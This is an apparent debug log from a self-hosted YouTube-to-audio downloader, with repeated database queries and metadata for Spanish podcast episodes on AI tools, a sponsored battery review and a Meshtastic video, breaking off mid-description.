22:12:29.807 [debug] Current batch of media processed. Will check again in 1000ms 22:12:30.757 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 891, "filename" => "/downloads/music/IA mí QUÉ/EP.29: ChatGPT para estudiar.m4a", "id" => "z2Lcm2-RB1E", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=z2Lcm2-RB1E", "playlist_index" => 21, "timestamp" => 1758261660, "title" => "EP.29: ChatGPT para estudiar", "upload_date" => "20250919"} 22:12:30.759 [debug] QUERY OK source="sources" db=0.6ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:12:30.760 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:12:30.761 [debug] QUERY OK source="media_items" db=0.6ms idle=1005.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-19 06:01:00Z], 2] 22:12:30.762 [debug] QUERY OK source="media_items" db=0.8ms idle=908.5ms INSERT INTO "media_items" AS m0 ("title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["EP.29: ChatGPT para estudiar", "dc535fc9-742c-4fe5-8b53-5acb111f4667", 891, false, "z2Lcm2-RB1E", "https://www.youtube.com/watch?v=z2Lcm2-RB1E", 21, "/downloads/music/IA mí QUÉ/EP.29: ChatGPT para estudiar.m4a", false, false, false, 2, [], 97, ~U[2025-09-19 06:01:00Z], ~U[2026-02-07 21:12:30Z], ~U[2026-02-07 21:12:30Z], "", "EP.29: ChatGPT para estudiar", 891, false, "z2Lcm2-RB1E", "https://www.youtube.com/watch?v=z2Lcm2-RB1E", "/downloads/music/IA mí QUÉ/EP.29: ChatGPT para estudiar.m4a", false, 2, ~U[2025-09-19 06:01:00Z]] 22:12:30.763 [debug] QUERY OK source="sources" db=0.5ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:12:30.764 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:30.765 [debug] QUERY OK source="media_items" db=0.5ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1273] 22:12:30.765 [debug] Current batch of media processed. Will check again in 1000ms 22:12:30.808 [debug] Current batch of media processed. Will check again in 1000ms 22:12:31.766 [debug] Current batch of media processed. Will check again in 1000ms 22:12:31.809 [debug] Current batch of media processed. Will check again in 1000ms 22:12:32.767 [debug] Current batch of media processed. Will check again in 1000ms 22:12:32.810 [debug] Current batch of media processed. Will check again in 1000ms 22:12:33.768 [debug] Current batch of media processed. Will check again in 1000ms 22:12:33.811 [debug] Current batch of media processed. Will check again in 1000ms 22:12:34.770 [debug] Current batch of media processed. Will check again in 1000ms 22:12:34.812 [debug] Current batch of media processed. Will check again in 1000ms 22:12:35.772 [debug] Current batch of media processed. Will check again in 1000ms 22:12:35.813 [debug] Current batch of media processed. Will check again in 1000ms 22:12:36.773 [debug] Current batch of media processed. Will check again in 1000ms 22:12:36.814 [debug] Current batch of media processed. Will check again in 1000ms 22:12:37.774 [debug] Current batch of media processed. Will check again in 1000ms 22:12:37.815 [debug] Current batch of media processed. Will check again in 1000ms 22:12:38.775 [debug] Current batch of media processed. Will check again in 1000ms 22:12:38.816 [debug] Current batch of media processed. Will check again in 1000ms 22:12:39.776 [debug] Current batch of media processed. Will check again in 1000ms 22:12:39.817 [debug] Current batch of media processed. Will check again in 1000ms 22:12:40.777 [debug] Current batch of media processed. Will check again in 1000ms 22:12:40.818 [debug] Current batch of media processed. Will check again in 1000ms 22:12:41.778 [debug] Current batch of media processed. Will check again in 1000ms 22:12:41.819 [debug] Current batch of media processed. Will check again in 1000ms 22:12:42.779 [debug] Current batch of media processed. Will check again in 1000ms 22:12:42.821 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "De la empresa WattCycle me han pasado para evaluar la bateria de 12v y 100Ah LIFEPO4 que os muestro en este video.\n\nEnlace de compra:\nhttps://eu.wattcycle.com/?ref=ea3grn\n\nCódigo descuento:\nEA3GRN\n\nContenido del video ------------------------------------\n00:00 - Presentación\n00:36 - Intro canal\n00:54 - La bateria LIFEPO4\n06:57 - Carga inicial\n07:32 - Cables y ley de ohm\n09:30 - Disyuntores 50A\n19:30 - Inicio prueba uso\n25:15 - Fin descarga\n27:26 - Carga para medir capacidad\n28:26 - Conclusiones\n\n#wattcycle #lifepo4 #hamradio #radioaficionados #preparacionismo #preppers \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2109, "filename" => "/downloads/music/ea3grn/159 - PROBANDO LA BATERIA WATTCYCLE LIFEPO4 100AH 12V.m4a", "id" => "lHz_Rjy_iis", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lHz_Rjy_iis", "playlist_index" => 22, "timestamp" => 1747933138, "title" => "159 - PROBANDO LA BATERIA WATTCYCLE LIFEPO4 100AH 12V", "upload_date" => "20250522"} 22:12:42.822 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=941.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:12:42.824 [debug] QUERY OK source="sources" db=0.5ms idle=68.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:12:42.825 [debug] QUERY OK source="media_items" db=0.8ms idle=69.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-22 16:58:58Z], 3] 22:12:42.827 [debug] QUERY OK source="media_items" db=1.3ms idle=71.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["De la empresa WattCycle me han pasado para evaluar la bateria de 12v y 100Ah LIFEPO4 que os muestro en este video.\n\nEnlace de compra:\nhttps://eu.wattcycle.com/?ref=ea3grn\n\nCódigo descuento:\nEA3GRN\n\nContenido del video ------------------------------------\n00:00 - Presentación\n00:36 - Intro canal\n00:54 - La bateria LIFEPO4\n06:57 - Carga inicial\n07:32 - Cables y ley de ohm\n09:30 - Disyuntores 50A\n19:30 - Inicio prueba uso\n25:15 - Fin descarga\n27:26 - Carga para medir capacidad\n28:26 - Conclusiones\n\n#wattcycle #lifepo4 #hamradio #radioaficionados #preparacionismo #preppers \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "159 - PROBANDO LA BATERIA WATTCYCLE LIFEPO4 100AH 12V", "f562c011-a543-48f2-9a72-a729086a54c5", 2109, false, "lHz_Rjy_iis", "https://www.youtube.com/watch?v=lHz_Rjy_iis", 22, "/downloads/music/ea3grn/159 - PROBANDO LA BATERIA WATTCYCLE LIFEPO4 100AH 12V.m4a", false, false, false, 3, [], 98, ~U[2025-05-22 16:58:58Z], ~U[2026-02-07 21:12:42Z], ~U[2026-02-07 21:12:42Z], "De la empresa WattCycle me han pasado para evaluar la bateria de 12v y 100Ah LIFEPO4 que os muestro en este video.\n\nEnlace de compra:\nhttps://eu.wattcycle.com/?ref=ea3grn\n\nCódigo descuento:\nEA3GRN\n\nContenido del video ------------------------------------\n00:00 - Presentación\n00:36 - Intro canal\n00:54 - La bateria LIFEPO4\n06:57 - Carga inicial\n07:32 - Cables y ley de ohm\n09:30 - Disyuntores 50A\n19:30 - Inicio prueba uso\n25:15 - Fin descarga\n27:26 - Carga para medir capacidad\n28:26 - Conclusiones\n\n#wattcycle #lifepo4 #hamradio #radioaficionados #preparacionismo #preppers \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "159 - PROBANDO LA BATERIA WATTCYCLE LIFEPO4 100AH 12V", 2109, false, "lHz_Rjy_iis", "https://www.youtube.com/watch?v=lHz_Rjy_iis", "/downloads/music/ea3grn/159 - PROBANDO LA BATERIA WATTCYCLE LIFEPO4 100AH 12V.m4a", false, 3, ~U[2025-05-22 16:58:58Z]] 22:12:42.828 [debug] QUERY OK source="sources" db=0.5ms idle=72.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:12:42.829 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:12:42.829 [debug] QUERY OK source="media_items" db=0.5ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1330] 22:12:42.830 [debug] Current batch of media processed. Will check again in 1000ms 22:12:43.780 [debug] Current batch of media processed. Will check again in 1000ms 22:12:43.830 [debug] Current batch of media processed. Will check again in 1000ms 22:12:44.781 [debug] Current batch of media processed. Will check again in 1000ms 22:12:44.831 [debug] Current batch of media processed. Will check again in 1000ms 22:12:45.782 [debug] Current batch of media processed. Will check again in 1000ms 22:12:45.832 [debug] Current batch of media processed. Will check again in 1000ms 22:12:46.783 [debug] Current batch of media processed. Will check again in 1000ms 22:12:46.833 [debug] Current batch of media processed. Will check again in 1000ms 22:12:47.784 [debug] Current batch of media processed. Will check again in 1000ms 22:12:47.834 [debug] Current batch of media processed. Will check again in 1000ms 22:12:48.785 [debug] Current batch of media processed. Will check again in 1000ms 22:12:48.835 [debug] Current batch of media processed. Will check again in 1000ms 22:12:49.786 [debug] Current batch of media processed. Will check again in 1000ms 22:12:49.836 [debug] Current batch of media processed. Will check again in 1000ms 22:12:50.787 [debug] Current batch of media processed. Will check again in 1000ms 22:12:50.837 [debug] Current batch of media processed. Will check again in 1000ms 22:12:51.144 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:51.788 [debug] Current batch of media processed. Will check again in 1000ms 22:12:51.838 [debug] Current batch of media processed. Will check again in 1000ms 22:12:52.789 [debug] Current batch of media processed. Will check again in 1000ms 22:12:52.839 [debug] Current batch of media processed. Will check again in 1000ms 22:12:53.790 [debug] Current batch of media processed. Will check again in 1000ms 22:12:53.840 [debug] Current batch of media processed. Will check again in 1000ms 22:12:54.791 [debug] Current batch of media processed. Will check again in 1000ms 22:12:54.841 [debug] Current batch of media processed. Will check again in 1000ms 22:12:55.792 [debug] Current batch of media processed. Will check again in 1000ms 22:12:55.842 [debug] Current batch of media processed. Will check again in 1000ms 22:12:56.793 [debug] Current batch of media processed. Will check again in 1000ms 22:12:56.843 [debug] Current batch of media processed. Will check again in 1000ms 22:12:57.794 [debug] Current batch of media processed. Will check again in 1000ms 22:12:57.844 [debug] Current batch of media processed. Will check again in 1000ms 22:12:58.795 [debug] Current batch of media processed. Will check again in 1000ms 22:12:58.845 [debug] Current batch of media processed. Will check again in 1000ms 22:12:59.796 [debug] Current batch of media processed. Will check again in 1000ms 22:12:59.846 [debug] Current batch of media processed. Will check again in 1000ms 22:13:00.089 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:13:00.797 [debug] Current batch of media processed. Will check again in 1000ms 22:13:00.847 [debug] Current batch of media processed. Will check again in 1000ms 22:13:01.798 [debug] Current batch of media processed. Will check again in 1000ms 22:13:01.848 [debug] Current batch of media processed. Will check again in 1000ms 22:13:02.799 [debug] Current batch of media processed. Will check again in 1000ms 22:13:02.849 [debug] Current batch of media processed. Will check again in 1000ms 22:13:03.800 [debug] Current batch of media processed. Will check again in 1000ms 22:13:03.850 [debug] Current batch of media processed. Will check again in 1000ms 22:13:04.801 [debug] Current batch of media processed. Will check again in 1000ms 22:13:04.851 [debug] Current batch of media processed. Will check again in 1000ms 22:13:05.802 [debug] Current batch of media processed. Will check again in 1000ms 22:13:05.852 [debug] Current batch of media processed. Will check again in 1000ms 22:13:06.803 [debug] Current batch of media processed. Will check again in 1000ms 22:13:06.853 [debug] Current batch of media processed. Will check again in 1000ms 22:13:07.804 [debug] Current batch of media processed. Will check again in 1000ms 22:13:07.854 [debug] Current batch of media processed. Will check again in 1000ms 22:13:08.805 [debug] Current batch of media processed. Will check again in 1000ms 22:13:08.855 [debug] Current batch of media processed. Will check again in 1000ms 22:13:09.806 [debug] Current batch of media processed. Will check again in 1000ms 22:13:09.856 [debug] Current batch of media processed. Will check again in 1000ms 22:13:10.807 [debug] Current batch of media processed. Will check again in 1000ms 22:13:10.857 [debug] Current batch of media processed. Will check again in 1000ms 22:13:11.808 [debug] Current batch of media processed. Will check again in 1000ms 22:13:11.858 [debug] Current batch of media processed. Will check again in 1000ms 22:13:12.809 [debug] Current batch of media processed. Will check again in 1000ms 22:13:12.859 [debug] Current batch of media processed. Will check again in 1000ms 22:13:13.810 [debug] Current batch of media processed. Will check again in 1000ms 22:13:13.860 [debug] Current batch of media processed. Will check again in 1000ms 22:13:14.811 [debug] Current batch of media processed. Will check again in 1000ms 22:13:14.861 [debug] Current batch of media processed. Will check again in 1000ms 22:13:15.812 [debug] Current batch of media processed. Will check again in 1000ms 22:13:15.862 [debug] Current batch of media processed. Will check again in 1000ms 22:13:16.813 [debug] Current batch of media processed. Will check again in 1000ms 22:13:16.863 [debug] Current batch of media processed. Will check again in 1000ms 22:13:17.814 [debug] Current batch of media processed. Will check again in 1000ms 22:13:17.864 [debug] Current batch of media processed. Will check again in 1000ms 22:13:18.815 [debug] Current batch of media processed. Will check again in 1000ms 22:13:18.865 [debug] Current batch of media processed. Will check again in 1000ms 22:13:19.816 [debug] Current batch of media processed. Will check again in 1000ms 22:13:19.866 [debug] Current batch of media processed. Will check again in 1000ms 22:13:20.817 [debug] Current batch of media processed. Will check again in 1000ms 22:13:20.867 [debug] Current batch of media processed. Will check again in 1000ms 22:13:21.146 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:21.818 [debug] Current batch of media processed. Will check again in 1000ms 22:13:21.868 [debug] Current batch of media processed. Will check again in 1000ms 22:13:22.819 [debug] Current batch of media processed. Will check again in 1000ms 22:13:22.869 [debug] Current batch of media processed. Will check again in 1000ms 22:13:23.820 [debug] Current batch of media processed. Will check again in 1000ms 22:13:23.870 [debug] Current batch of media processed. Will check again in 1000ms 22:13:24.821 [debug] Current batch of media processed. Will check again in 1000ms 22:13:24.871 [debug] Current batch of media processed. Will check again in 1000ms 22:13:25.822 [debug] Current batch of media processed. Will check again in 1000ms 22:13:25.872 [debug] Current batch of media processed. Will check again in 1000ms 22:13:26.823 [debug] Current batch of media processed. Will check again in 1000ms 22:13:26.873 [debug] Current batch of media processed. Will check again in 1000ms 22:13:27.824 [debug] Current batch of media processed. Will check again in 1000ms 22:13:27.874 [debug] Current batch of media processed. Will check again in 1000ms 22:13:28.825 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 648, "filename" => "/downloads/music/IA mí QUÉ/EP28: Notebook LM.m4a", "id" => "bmlEqlYCSrk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bmlEqlYCSrk", "playlist_index" => 22, "timestamp" => 1757656836, "title" => "EP28: Notebook LM", "upload_date" => "20250912"} 22:13:28.826 [debug] QUERY OK source="sources" db=0.5ms idle=860.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:13:28.827 [debug] QUERY OK source="sources" db=0.6ms idle=72.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:13:28.828 [debug] QUERY OK source="media_items" db=0.7ms idle=72.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-12 06:00:36Z], 2] 22:13:28.831 [debug] QUERY OK source="media_items" db=2.7ms idle=73.9ms INSERT INTO "media_items" AS m0 ("title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["EP28: Notebook LM", "f4b1ecc4-1f1d-4889-9abc-80a1b14f8066", 648, false, "bmlEqlYCSrk", "https://www.youtube.com/watch?v=bmlEqlYCSrk", 22, "/downloads/music/IA mí QUÉ/EP28: Notebook LM.m4a", false, false, false, 2, [], 98, ~U[2025-09-12 06:00:36Z], ~U[2026-02-07 21:13:28Z], ~U[2026-02-07 21:13:28Z], "", "EP28: Notebook LM", 648, false, "bmlEqlYCSrk", "https://www.youtube.com/watch?v=bmlEqlYCSrk", "/downloads/music/IA mí QUÉ/EP28: Notebook LM.m4a", false, 2, ~U[2025-09-12 06:00:36Z]] 22:13:28.832 [debug] QUERY OK source="sources" db=0.4ms idle=76.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:13:28.833 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:28.833 [debug] QUERY OK source="media_items" db=0.5ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1274] 22:13:28.834 [debug] Current batch of media processed. Will check again in 1000ms 22:13:28.875 [debug] Current batch of media processed. Will check again in 1000ms 22:13:29.834 [debug] Current batch of media processed. Will check again in 1000ms 22:13:29.876 [debug] Current batch of media processed. Will check again in 1000ms 22:13:30.835 [debug] Current batch of media processed. Will check again in 1000ms 22:13:30.877 [debug] Current batch of media processed. Will check again in 1000ms 22:13:31.836 [debug] Current batch of media processed. Will check again in 1000ms 22:13:31.878 [debug] Current batch of media processed. Will check again in 1000ms 22:13:32.837 [debug] Current batch of media processed. Will check again in 1000ms 22:13:32.879 [debug] Current batch of media processed. Will check again in 1000ms 22:13:33.838 [debug] Current batch of media processed. Will check again in 1000ms 22:13:33.880 [debug] Current batch of media processed. Will check again in 1000ms 22:13:34.839 [debug] Current batch of media processed. Will check again in 1000ms 22:13:34.881 [debug] Current batch of media processed. Will check again in 1000ms 22:13:35.840 [debug] Current batch of media processed. Will check again in 1000ms 22:13:35.882 [debug] Current batch of media processed. Will check again in 1000ms 22:13:36.841 [debug] Current batch of media processed. Will check again in 1000ms 22:13:36.883 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Algunas dudas y preguntas sobre Meshtastic y Lora, solo para los muy principiantes en el tema y que espero os resulte útil.\n\nReferencias:\n\nPrimeros Pasos (lectura 